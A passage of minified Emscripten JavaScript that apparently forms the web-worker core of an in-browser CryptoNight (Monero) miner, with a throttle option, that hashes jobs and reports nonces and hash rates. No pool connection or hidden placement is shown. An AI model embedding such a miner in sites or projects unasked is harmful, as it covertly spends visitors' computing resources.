yday=(date.getTime()-start)\/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return tmPtr}function _gmtime(time){return _gmtime_r(time,___tm_current)}function ___lock(){}function ___unlock(){}function ___syscall6(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD();FS.close(stream);return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function _emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return dest}function _ftime(p){var millis=Date.now();HEAP32[p>>2]=millis\/1e3|0;HEAP16[p+4>>1]=millis%1e3;HEAP16[p+6>>1]=0;HEAP16[p+8>>1]=0;return 0}function ___syscall140(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),offset_high=SYSCALLS.get(),offset_low=SYSCALLS.get(),result=SYSCALLS.get(),whence=SYSCALLS.get();var offset=offset_low;FS.llseek(stream,offset,whence);HEAP32[result>>2]=stream.position;if(stream.getdents&&offset===0&&whence===0)stream.getdents=null;return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall146(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doWritev(stream,iov,iovcnt)}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall54(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),op=SYSCALLS.get();switch(op){case 21505:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21506:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21519:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;var argp=SYSCALLS.get();HEAP32[argp>>2]=0;return 0};case 21520:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return-ERRNO_CODES.EINVAL};case 21531:{var argp=SYSCALLS.get();return FS.ioctl(stream,op,argp)};case 21523:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};default:abort(\"bad ioctl syscall \"+op)}}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}FS.staticInit();__ATINIT__.unshift((function(){if(!Module[\"noFSInit\"]&&!FS.init.initialized)FS.init()}));__ATMAIN__.push((function(){FS.ignorePermissions=false}));__ATEXIT__.push((function(){FS.quit()}));Module[\"FS_createFolder\"]=FS.createFolder;Module[\"FS_createPath\"]=FS.createPath;Module[\"FS_createDataFile\"]=FS.createDataFile;Module[\"FS_createPreloadedFile\"]=FS.createPreloadedFile;Module[\"FS_createLazyFile\"]=FS.createLazyFile;Module[\"FS_createLink\"]=FS.createLink;Module[\"FS_createDevice\"]=FS.createDevice;Module[\"FS_unlink\"]=FS.unlink;__ATINIT__.unshift((function(){TTY.init()}));__ATEXIT__.push((function(){TTY.shutdown()}));if(ENVIRONMENT_IS_NODE){var fs=require(\"fs\");var NODEJS_PATH=require(\"path\");NODEFS.staticInit()}DYNAMICTOP_PTR=allocate(1,\"i32\",ALLOC_STATIC);STACK_BASE=STACKTOP=Runtime.alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=Runtime.alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;Module[\"wasmTableSize\"]=14;Module[\"wasmMaxTableSize\"]=14;function invoke_ii(index,a1){try{return Module[\"dynCall_ii\"](index,a1)}catch(e){if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiii(index,a1,a2,a3){try{return Module[\"dynCall_iiii\"](index,a1,a2,a3)}catch(e){if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viii(index,a1,a2,a3){try{Module[\"dynCall_viii\"](index,a1,a2,a3)}catch(e){if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}Module.asmGlobalArg={\"Math\":Math,\"Int8Array\":Int8Array,\"Int16Array\":Int16Array,\"Int32Array\":Int32Array,\"Uint8Array\":Uint8Array,\"Uint16Array\":Uint16Array,\"Uint32Array\":Uint32Array,\"Float32Array\":Float32Array,\"Float64Array\":Float64Array,\"NaN\":NaN,\"Infinity\":Infinity};Module.asmLibraryArg={\"abort\":abort,\"assert\":assert,\"enlargeMemory\":enlargeMemory,\"getTotalMemory\":getTotalMemory,\"abortOnCannotGrowMemory\":abortOnCannotGrowMemory,\"invoke_ii\":invoke_ii,\"invoke_iiii\":invoke_iiii,\"invoke_viii\":invoke_viii,\"_gmtime_r\":_gmtime_r,\"_gmtime\":_gmtime,\"___lock\":___lock,\"___syscall6\":___syscall6,\"___setErrNo\":___setErrNo,\"___unlock\":___unlock,\"_ftime\":_ftime,\"_emscripten_memcpy_big\":_emscripten_memcpy_big,\"___syscall54\":___syscall54,\"___syscall140\":___syscall140,\"___syscall20\":___syscall20,\"___assert_fail\":___assert_fail,\"___syscall146\":___syscall146,\"DYNAMICTOP_PTR\":DYNAMICTOP_PTR,\"tempDoublePtr\":tempDoublePtr,\"ABORT\":ABORT,\"STACKTOP\":STACKTOP,\"STACK_MAX\":STACK_MAX};var asm=Module[\"asm\"](Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module[\"asm\"]=asm;var _cryptonight_hash=Module[\"_cryptonight_hash\"]=(function(){return Module[\"asm\"][\"_cryptonight_hash\"].apply(null,arguments)});var getTempRet0=Module[\"getTempRet0\"]=(function(){return Module[\"asm\"][\"getTempRet0\"].apply(null,arguments)});var _free=Module[\"_free\"]=(function(){return Module[\"asm\"][\"_free\"].apply(null,arguments)});var runPostSets=Module[\"runPostSets\"]=(function(){return Module[\"asm\"][\"runPostSets\"].apply(null,arguments)});var setTempRet0=Module[\"setTempRet0\"]=(function(){return Module[\"asm\"][\"setTempRet0\"].apply(null,arguments)});var establishStackSpace=Module[\"establishStackSpace\"]=(function(){return Module[\"asm\"][\"establishStackSpace\"].apply(null,arguments)});var _memmove=Module[\"_memmove\"]=(function(){return Module[\"asm\"][\"_memmove\"].apply(null,arguments)});var stackSave=Module[\"stackSave\"]=(function(){return Module[\"asm\"][\"stackSave\"].apply(null,arguments)});var _memset=Module[\"_memset\"]=(function(){return Module[\"asm\"][\"_memset\"].apply(null,arguments)});var _malloc=Module[\"_malloc\"]=(function(){return Module[\"asm\"][\"_malloc\"].apply(null,arguments)});var _cryptonight_create=Module[\"_cryptonight_create\"]=(function(){return Module[\"asm\"][\"_cryptonight_create\"].apply(null,arguments)});var _memcpy=Module[\"_memcpy\"]=(function(){return Module[\"asm\"][\"_memcpy\"].apply(null,arguments)});var _emscripten_get_global_libc=Module[\"_emscripten_get_global_libc\"]=(function(){return Module[\"asm\"][\"_emscripten_get_global_libc\"].apply(null,arguments)});var stackAlloc=Module[\"stackAlloc\"]=(function(){return Module[\"asm\"][\"stackAlloc\"].apply(null,arguments)});var setThrew=Module[\"setThrew\"]=(function(){return Module[\"asm\"][\"setThrew\"].apply(null,arguments)});var _sbrk=Module[\"_sbrk\"]=(function(){return Module[\"asm\"][\"_sbrk\"].apply(null,arguments)});var _fflush=Module[\"_fflush\"]=(function(){return Module[\"asm\"][\"_fflush\"].apply(null,arguments)});var stackRestore=Module[\"stackRestore\"]=(function(){return Module[\"asm\"][\"stackRestore\"].apply(null,arguments)});var _cryptonight_destroy=Module[\"_cryptonight_destroy\"]=(function(){return Module[\"asm\"][\"_cryptonight_destroy\"].apply(null,arguments)});var ___errno_location=Module[\"___errno_location\"]=(function(){return Module[\"asm\"][\"___errno_location\"].apply(null,arguments)});var dynCall_ii=Module[\"dynCall_ii\"]=(function(){return Module[\"asm\"][\"dynCall_ii\"].apply(null,arguments)});var dynCall_iiii=Module[\"dynCall_iiii\"]=(function(){return Module[\"asm\"][\"dynCall_iiii\"].apply(null,arguments)});var dynCall_viii=Module[\"dynCall_viii\"]=(function(){return Module[\"asm\"][\"dynCall_viii\"].apply(null,arguments)});Runtime.stackAlloc=Module[\"stackAlloc\"];Runtime.stackSave=Module[\"stackSave\"];Runtime.stackRestore=Module[\"stackRestore\"];Runtime.establishStackSpace=Module[\"establishStackSpace\"];Runtime.setTempRet0=Module[\"setTempRet0\"];Runtime.getTempRet0=Module[\"getTempRet0\"];Module[\"asm\"]=asm;if(memoryInitializer){if(typeof Module[\"locateFile\"]===\"function\"){memoryInitializer=Module[\"locateFile\"](memoryInitializer)}else if(Module[\"memoryInitializerPrefixURL\"]){memoryInitializer=Module[\"memoryInitializerPrefixURL\"]+memoryInitializer}if(ENVIRONMENT_IS_NODE||ENVIRONMENT_IS_SHELL){var data=Module[\"readBinary\"](memoryInitializer);HEAPU8.set(data,Runtime.GLOBAL_BASE)}else{addRunDependency(\"memory initializer\");var applyMemoryInitializer=(function(data){if(data.byteLength)data=new Uint8Array(data);HEAPU8.set(data,Runtime.GLOBAL_BASE);if(Module[\"memoryInitializerRequest\"])delete Module[\"memoryInitializerRequest\"].response;removeRunDependency(\"memory initializer\")});function doBrowserLoad(){Module[\"readAsync\"](memoryInitializer,applyMemoryInitializer,(function(){throw\"could not load memory initializer \"+memoryInitializer}))}if(Module[\"memoryInitializerRequest\"]){function useRequest(){var request=Module[\"memoryInitializerRequest\"];if(request.status!==200&&request.status!==0){console.warn(\"a problem seems to have happened with Module.memoryInitializerRequest, status: \"+request.status+\", retrying \"+memoryInitializer);doBrowserLoad();return}applyMemoryInitializer(request.response)}if(Module[\"memoryInitializerRequest\"].response){setTimeout(useRequest,0)}else{Module[\"memoryInitializerRequest\"].addEventListener(\"load\",useRequest)}}else{doBrowserLoad()}}}function ExitStatus(status){this.name=\"ExitStatus\";this.message=\"Program terminated with exit(\"+status+\")\";this.status=status}ExitStatus.prototype=new Error;ExitStatus.prototype.constructor=ExitStatus;var initialStackTop;var preloadStartTime=null;var calledMain=false;dependenciesFulfilled=function runCaller(){if(!Module[\"calledRun\"])run();if(!Module[\"calledRun\"])dependenciesFulfilled=runCaller};Module[\"callMain\"]=Module.callMain=function callMain(args){args=args||[];ensureInitRuntime();var argc=args.length+1;function pad(){for(var i=0;i<4-1;i++){argv.push(0)}}var argv=[allocate(intArrayFromString(Module[\"thisProgram\"]),\"i8\",ALLOC_NORMAL)];pad();for(var i=0;i<argc-1;i=i+1){argv.push(allocate(intArrayFromString(args[i]),\"i8\",ALLOC_NORMAL));pad()}argv.push(0);argv=allocate(argv,\"i32\",ALLOC_NORMAL);try{var ret=Module[\"_main\"](argc,argv,0);exit(ret,true)}catch(e){if(e instanceof ExitStatus){return}else if(e==\"SimulateInfiniteLoop\"){Module[\"noExitRuntime\"]=true;return}else{var toLog=e;if(e&&typeof e===\"object\"&&e.stack){toLog=[e,e.stack]}Module.printErr(\"exception thrown: \"+toLog);Module[\"quit\"](1,e)}}finally{calledMain=true}};function run(args){args=args||Module[\"arguments\"];if(preloadStartTime===null)preloadStartTime=Date.now();if(runDependencies>0){return}preRun();if(runDependencies>0)return;if(Module[\"calledRun\"])return;function doRun(){if(Module[\"calledRun\"])return;Module[\"calledRun\"]=true;if(ABORT)return;ensureInitRuntime();preMain();if(Module[\"onRuntimeInitialized\"])Module[\"onRuntimeInitialized\"]();if(Module[\"_main\"]&&shouldRunNow)Module[\"callMain\"](args);postRun()}if(Module[\"setStatus\"]){Module[\"setStatus\"](\"Running...\");setTimeout((function(){setTimeout((function(){Module[\"setStatus\"](\"\")}),1);doRun()}),1)}else{doRun()}}Module[\"run\"]=Module.run=run;function exit(status,implicit){if(implicit&&Module[\"noExitRuntime\"]){return}if(Module[\"noExitRuntime\"]){}else{ABORT=true;EXITSTATUS=status;STACKTOP=initialStackTop;exitRuntime();if(Module[\"onExit\"])Module[\"onExit\"](status)}if(ENVIRONMENT_IS_NODE){process[\"exit\"](status)}Module[\"quit\"](status,new ExitStatus(status))}Module[\"exit\"]=Module.exit=exit;var abortDecorators=[];function abort(what){if(Module[\"onAbort\"]){Module[\"onAbort\"](what)}if(what!==undefined){Module.print(what);Module.printErr(what);what=JSON.stringify(what)}else{what=\"\"}ABORT=true;EXITSTATUS=1;var extra=\"\\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information.\";var output=\"abort(\"+what+\") at \"+stackTrace()+extra;if(abortDecorators){abortDecorators.forEach((function(decorator){output=decorator(output,what)}))}throw output}Module[\"abort\"]=Module.abort=abort;if(Module[\"preInit\"]){if(typeof Module[\"preInit\"]==\"function\")Module[\"preInit\"]=[Module[\"preInit\"]];while(Module[\"preInit\"].length>0){Module[\"preInit\"].pop()()}}var shouldRunNow=true;if(Module[\"noInitialRun\"]){shouldRunNow=false}run();var CryptonightWASMWrapper=(function(){this.ctx=_cryptonight_create();this.throttleWait=0;this.throttledStart=0;this.throttledHashes=0;this.workThrottledBound=this.workThrottled.bind(this);this.currentJob=null;this.target=new Uint8Array([255,255,255,255,255,255,255,255]);var heap=Module.HEAPU8.buffer;this.input=new Uint8Array(heap,Module._malloc(84),84);this.output=new Uint8Array(heap,Module._malloc(32),32);self.postMessage(\"ready\");self.onmessage=this.onMessage.bind(this)});CryptonightWASMWrapper.prototype.onMessage=(function(msg){var job=msg.data;if(job.verify_id){this.verify(job);return}if(!this.currentJob||this.currentJob.job_id!==job.job_id){this.setJob(job)}if(job.throttle){this.throttleWait=1\/(1-job.throttle)-1;this.throttledStart=this.now();this.throttledHashes=0;this.workThrottled()}else{this.work()}});CryptonightWASMWrapper.prototype.destroy=(function(){_cryptonight_destroy(this.ctx)});CryptonightWASMWrapper.prototype.hexToBytes=(function(hex,bytes){var bytes=new Uint8Array(hex.length\/2);for(var i=0,c=0;c<hex.length;c+=2,i++){bytes[i]=parseInt(hex.substr(c,2),16)}return bytes});CryptonightWASMWrapper.prototype.bytesToHex=(function(bytes){for(var hex=\"\",i=0;i<bytes.length;i++){hex+=(bytes[i]>>>4).toString(16);hex+=(bytes[i]&15).toString(16)}return hex});CryptonightWASMWrapper.prototype.meetsTarget=(function(hash,target){for(var i=0;i<target.length;i++){var hi=hash.length-i-1,ti=target.length-i-1;if(hash[hi]>target[ti]){return false}else if(hash[hi]<target[ti]){return true}}return false});CryptonightWASMWrapper.prototype.setJob=(function(job){this.currentJob=job;this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);var target=this.hexToBytes(job.target);if(target.length<=8){for(var i=0;i<target.length;i++){this.target[this.target.length-i-1]=target[target.length-i-1]}for(var i=0;i<this.target.length-target.length;i++){this.target[i]=255}}else{this.target=target}});CryptonightWASMWrapper.prototype.now=(function(){return self.performance?self.performance.now():Date.now()});CryptonightWASMWrapper.prototype.hash=(function(input,output,length){var nonce=Math.random()*4294967295+1>>>0;this.input[39]=(nonce&4278190080)>>24;this.input[40]=(nonce&16711680)>>16;this.input[41]=(nonce&65280)>>8;this.input[42]=(nonce&255)>>0;_cryptonight_hash(this.ctx,input.byteOffset,output.byteOffset,length)});CryptonightWASMWrapper.prototype.verify=(function(job){this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);for(var i=0,c=0;c<job.nonce.length;c+=2,i++){this.input[39+i]=parseInt(job.nonce.substr(c,2),16)}_cryptonight_hash(this.ctx,this.input.byteOffset,this.output.byteOffset,this.blob.length);var result=this.bytesToHex(this.output);self.postMessage({verify_id:job.verify_id,verified:result===job.result})});CryptonightWASMWrapper.prototype.work=(function(){var hashes=0;var meetsTarget=false;var start=this.now();var elapsed=0;do{this.hash(this.input,this.output,this.blob.length);hashes++;meetsTarget=this.meetsTarget(this.output,this.target);elapsed=this.now()-start}while(!meetsTarget&&elapsed<1e3);var hashesPerSecond=hashes\/(elapsed\/1e3);if(meetsTarget){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex})}else{self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes})}});CryptonightWASMWrapper.prototype.workThrottled=(function(){var start=this.now();this.hash(this.input,this.output,this.blob.length);var end=this.now();var timePerHash=end-start;this.throttledHashes++;var elapsed=end-this.throttledStart;var hashesPerSecond=this.throttledHashes\/(elapsed\/1e3);if(this.meetsTarget(this.output,this.target)){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex});this.throttledHashes=0}else if(elapsed>1e3){self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes});this.throttledHashes=0}else{var wait=Math.min(2e3,timePerHash*this.throttleWait);setTimeout(this.workThrottledBound,wait)}});Module[\"onRuntimeInitialized\"]=(function(){var cryptonight=new CryptonightWASMWrapper}) "]));